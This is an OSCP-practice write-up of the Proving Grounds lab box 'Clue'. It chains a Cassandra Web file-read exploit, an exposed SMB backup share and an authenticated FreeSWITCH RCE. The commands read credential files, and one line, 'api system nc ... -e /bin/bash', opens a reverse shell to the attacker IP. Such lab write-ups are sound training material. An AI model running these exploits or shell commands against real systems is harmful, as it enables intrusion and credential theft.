Clue

Clue is one of the boxes I have done to prepare for my OSCP exam. I have decided to revisited these boxes and publish write-ups for the boxes I have completed to help out anyone still trying to get the certification. This box is also part of TJ Null’s OSCP practice list, which you can access here.

In my experience, Offsec Proving Grounds is probably the platform with the most similarity to the OSCP exam itself. This box is similar to some of the harder machines you will come up against in the exam. Don’t feel discouraged if you can’t solve this box without looking up for write-ups like this one. You are still learning if you read the write-up and replicated the steps on your own.

• Attacker IP: 192.168.45.229
• Target IP: 192.168.163.240

Enumeration

Haha Nmap scan go brrrrrr~

$ nmap -sVC 192.168.163.240 -T4 -p- -oN nmap

# Nmap 7.95 scan initiated Mon May 26 11:34:41 2025 as: nmap -sVC -T4 -p- -oN nmap 192.168.163.240
Nmap scan report for 192.168.163.240
Host is up (0.052s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp   open  http             Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open  http             Thin httpd
|_http-title: Cassandra Web
|_http-server-header: thin
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket
Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h20m01s, deviation: 2h18m36s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: clue
|   NetBIOS computer name: CLUE\x00
|   Domain name: pg
|   FQDN: clue.pg
|_  System time: 2025-05-26T12:37:33-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2025-05-26T16:37:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 26 11:38:10 2025 -- 1 IP address (1 host up) scanned in 208.68 seconds

Even though this is a Linux box, we can see SMB open, as well as http servers on port 80 and 3000. Additionaly, we also see FreeSWITCH on port 8021. Let’s take a look at them one by one.

Port 80

We are greeted by the default 403 Forbidden page for Apache when we visit the website at port 80. This calls for a directory scan so that we can see if there are other directories on this web server that we can access.

$ gobuster dir -u http://192.168.163.240/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt --follow-redirect -t 40 -k -o gobuster --timeout 15s

/backup              (Status: 403) [Size: 280]

Since the only directory came up is also 403, we should run another gobuster scan in this directory.

$ gobuster dir -u http://192.168.163.240/backup/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt --follow-redirect -t 40 -k -o gobuster_backup --timeout 15s

/cassandra            (Status: 403) [Size: 280]

This doesn’t seem promising. Let’s take a look at some of the other ports.

Port 3000

Cassandra web is hosted on port 3000. Cassnadra is a distributed database, and this could be some sort of web interface for managing it.

ExploitDB has a remote file read exploit for Cassandra Web 0.5.0. Although we haven’t seen any information that would suggest this exploit would work against our target, it is nontheless worth it to check out the exploit (link).

$ searchsploit -m 49362

Seems like This exploits a regular directory traversal vulnerability, which is usually stable enough to try even if the version of the target isn’t an exact match.

However, there are some more interesting information in the Comments before the script. Here, it tells us how we can obtain the credentials for the web interface:

# Cassandra Web is vulnerable to directory traversal due to the disabled
# Rack::Protection module. Apache Cassandra credentials are passed via the
# CLI in order for the server to auth to it and provide the web access, so
# they are also one thing that can be captured via the arbitrary file read.
#
# Usage
# > cassmoney.py 10.0.0.5 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
#
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd
#
# (these creds are for auth to the running apache cassandra database server)

In other words, we can find the commandline arguments for the Cassandra Web Process on the target machine by accessing /proc/self/cmdline, and we can obtain the credentials for the instance since they are passed in as arguments.

Let’s give it a try:

$ python 49362.py -p 3000 192.168.163.240 /proc/self/cmdline

We have successfully extracted a set of credentials:

• cassie:SecondBiteTheApple330

We can also use this script to extract the /etc/passwd file to check out users on the system

$ python 49362.py -p 3000 192.168.163.240 /etc/passwd

We have interactive users cassie and anthony. However, we are unable to login as cassie. Turns out the sshd is set up to only allow users anthony and root to login. Below is the query to the config file.

$ python 49362.py -p 3000 192.168.163.240 /etc/ssh/sshd_config
[...]

# Example of overriding settings on a per-user basis
#Match User anoncvs
#       X11Forwarding no
#       AllowTcpForwarding no
#       PermitTTY no
#       ForceCommand cvs server

AllowUsers root anthony

FreeSWITCH

So what is FreeSWITCH? According to their Github Readme, it is a “Software Defined Telecom Stack”. It provides services like VoIP and can be installed on devices from Raspberry PIs to enterprise servers.

That’s all fine and good, but how can it help us exploit our target? A searchsploit result show that there is a command execution exploit available.

Let’s copy it to see what it’s about.

$ searchsploit -m 47799
$ mv 47799.txt 47799.py

Here is a segment from the comment inside the exploit script:

# FreeSWITCH listens on port 8021 by default and will accept and run commands sent to
# it after authenticating. By default commands are not accepted from remote hosts.

So this is an authenticated RCE. The script also make use of a default password for FreeSWITCH, ClueCon.

Let’s see if this works

$ python 47799.py 192.168.163.240 'whoami'

Darn…Perhaps the default password was changed, and maybe we can find it elsewhere.

SMB

Let’s take a look at SMB by first enumerating the available shares.

$ nxc smb 192.168.163.240 -u 'guest' -p '' --shares

We have a share named backup available to us. Let’s connect to it via smbclient as the guest user.

$ smbclient //192.168.163.240/backup -U 'guest'

We have access to what seems like backups for both the Cassandra and FreeSWITCH. The FreeSWITCH backup might contain a file that can reveal to us the password that can get our previously failed RCE exploit to work. Let’s mount this share into our filesystem to explore it futher.

$ sudo mount -t cifs //192.168.163.240/backup backup/ -o guest

This article is a documentation for the FreeSWITCH event socket. Particularly, the following paragraph implies that we can find the config file where the password is stored in <conf_dir>/autoload_configs/event_socket.conf.xml. However, other documentation for FreeSWITCH have mentioned that <config_dir> can be at multiple locations. Let’s find the exact location of this file.

$ find -name "event_socket.conf.xml" -type f 2>/dev/null

Opening the file, we can see it contains the same failed password. Maybe it’s because the password was changed after the backup was taken. Since we already have a way to query the current version of the file via the Cassandra web exploit, maybe the password there can be used.

$ python 49362.py -p 3000 192.168.163.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml

StrongClueConEight021, this might be our password. Let’s replace the default credential in our FreeSWITCH RCE exploit and try running it again.

Initial Foothold

As you can see, we have successfully executed a command on the target machine. However, I can only get command output back intermittently. You can alternatively connect to the socket via nc and type in the following command to first authenticate, then execute any command you want.

$ nc 192.168.163.240 8021

auth StrongClueConEight021

api system whoami

To get a reverse shell, we can use the nc on the target system.

api system nc 192.168.45.229 80 -e /bin/bash

We can then use python -c 'import pty; pty.spawn("/bin/bash")' to break out of the restricted shell and switch user to cassie.

Privilege Escalation

We have a ssh key present in cassie’s home directory, let’s save that and try logging in as the two users present on the system.

Here, we can see that we have succesfully logged in as root. It’s nice to see the box author giving us a word of encouragement after solving such a difficult box.

Takeaways

This box has a really long exploit chain. First, we discovered an file read vulnerability in Cassandra-Web that allowed us to find cassie’s user credential. We then found an authenticated RCE in FreeSWITCH, but lacked the credential to make it work. Through an exposed SMB share, we were able to find the location of the file that contained the password for FreeSWITCH event socket, which we then read using the first file read vulnerability, which then allowed us to use the authenticated RCE to gain shell access onto the target. Lastly, we used cassie’s credentials to gain access to an SSH key that gave us root access to the system.

Long chained exploit paths like this shows the importance of taking detail notes on what you have done and what you haven’t done. Even though each port might seem like a dead end in of itself, but when put together, creates a pathway that gives way to shell access. I have to say I enjoyed this box.